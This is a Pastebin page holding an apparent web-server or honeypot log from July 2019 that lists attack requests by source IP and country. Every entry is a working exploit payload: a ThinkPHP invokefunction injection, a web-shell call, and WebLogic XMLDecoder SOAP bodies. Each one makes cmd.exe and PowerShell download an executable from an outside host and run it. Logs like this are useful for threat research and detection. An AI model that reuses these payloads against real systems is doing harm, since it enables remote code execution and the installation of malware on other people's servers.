Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Source IP Country Method URI POST Data LastSeen
- 87.103.14.199 Portugal GET /public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/pcpoamykzpdbpom17323.exe');start %SystemRoot%/Temp/pcpoamykzpdbpom17323.exe "-" 2019-07-20T13:00:36Z
- 87.103.14.199 Portugal GET /public/index.php?s=index/think\x5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/pcpoamykzpdbpom17323.exe');start %SystemRoot%/Temp/pcpoamykzpdbpom17323.exe "-" 2019-07-20T13:00:35Z
- 92.38.197.89 Russia POST /_async/AsyncResponseService "<soapenv:Envelope xmlns:soapenv=\x22http://schemas.xmlsoap.org/soap/envelope/\x22 xmlns:wsa=\x22http://www.w3.org/2005/08/addressing\x22 xmlns:asy=\x22http://www.bea.com/async/AsyncResponseService\x22> \x0D\x0A<soapenv:Header> \x0D\x0A<wsa:Action>xx</wsa:Action>\x0D\x0A<wsa:RelatesTo>xx</wsa:RelatesTo>\x0D\x0A<work:WorkContext xmlns:work=\x22http://bea.com/2004/06/soap/workarea/\x22>\x0D\x0A<void class=\x22java.lang.ProcessBuilder\x22>\x0D\x0A<array class=\x22java.lang.String\x22 length=\x223\x22>\x0D\x0A<void index=\x220\x22>\x0D\x0A<string>cmd</string>\x0D\x0A</void>\x0D\x0A<void index=\x221\x22>\x0D\x0A<string>/c</string>\x0D\x0A</void>\x0D\x0A<void index=\x222\x22>\x0D\x0A<string>powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/ybayaebwsncwczc27710.exe');start %SystemRoot%/Temp/ybayaebwsncwczc27710.exe</string>\x0D\x0A</void>\x0D\x0A</array>\x0D\x0A<void method=\x22start\x22/></void>\x0D\x0A</work:WorkContext>\x0D\x0A</soapenv:Header>\x0D\x0A<soapenv:Body>\x0D\x0A<asy:onAsyncDelivery/>\x0D\x0A</soapenv:Body></soapenv:Envelope>" 2019-07-20T05:09:45Z
- 92.38.197.89 Russia POST /wls-wsat/CoordinatorPortType11 "<soapenv:Envelope xmlns:soapenv=\x22http://schemas.xmlsoap.org/soap/envelope/\x22>\x0D\x0A <soapenv:Header>\x0D\x0A <work:WorkContext xmlns:work=\x22http://bea.com/2004/06/soap/workarea/\x22>\x0D\x0A <java version=\x221.8.0_131\x22 class=\x22java.beans.XMLDecoder\x22>\x0D\x0A <void class=\x22java.lang.ProcessBuilder\x22>\x0D\x0A <array class=\x22java.lang.String\x22 length=\x223\x22>\x0D\x0A <void index=\x220\x22>\x0D\x0A <string>cmd</string>\x0D\x0A </void>\x0D\x0A <void index=\x221\x22>\x0D\x0A <string>/c</string>\x0D\x0A </void>\x0D\x0A <void index=\x222\x22>\x0D\x0A <string>powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/icyciqkdljtkczu30374.exe');start %SystemRoot%/Temp/icyciqkdljtkczu30374.exe</string>\x0D\x0A </void>\x0D\x0A </array>\x0D\x0A <void method=\x22start\x22/></void>\x0D\x0A </java>\x0D\x0A </work:WorkContext>\x0D\x0A </soapenv:Header>\x0D\x0A <soapenv:Body/>\x0D\x0A </soapenv:Envelope>" 2019-07-20T05:09:45Z
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
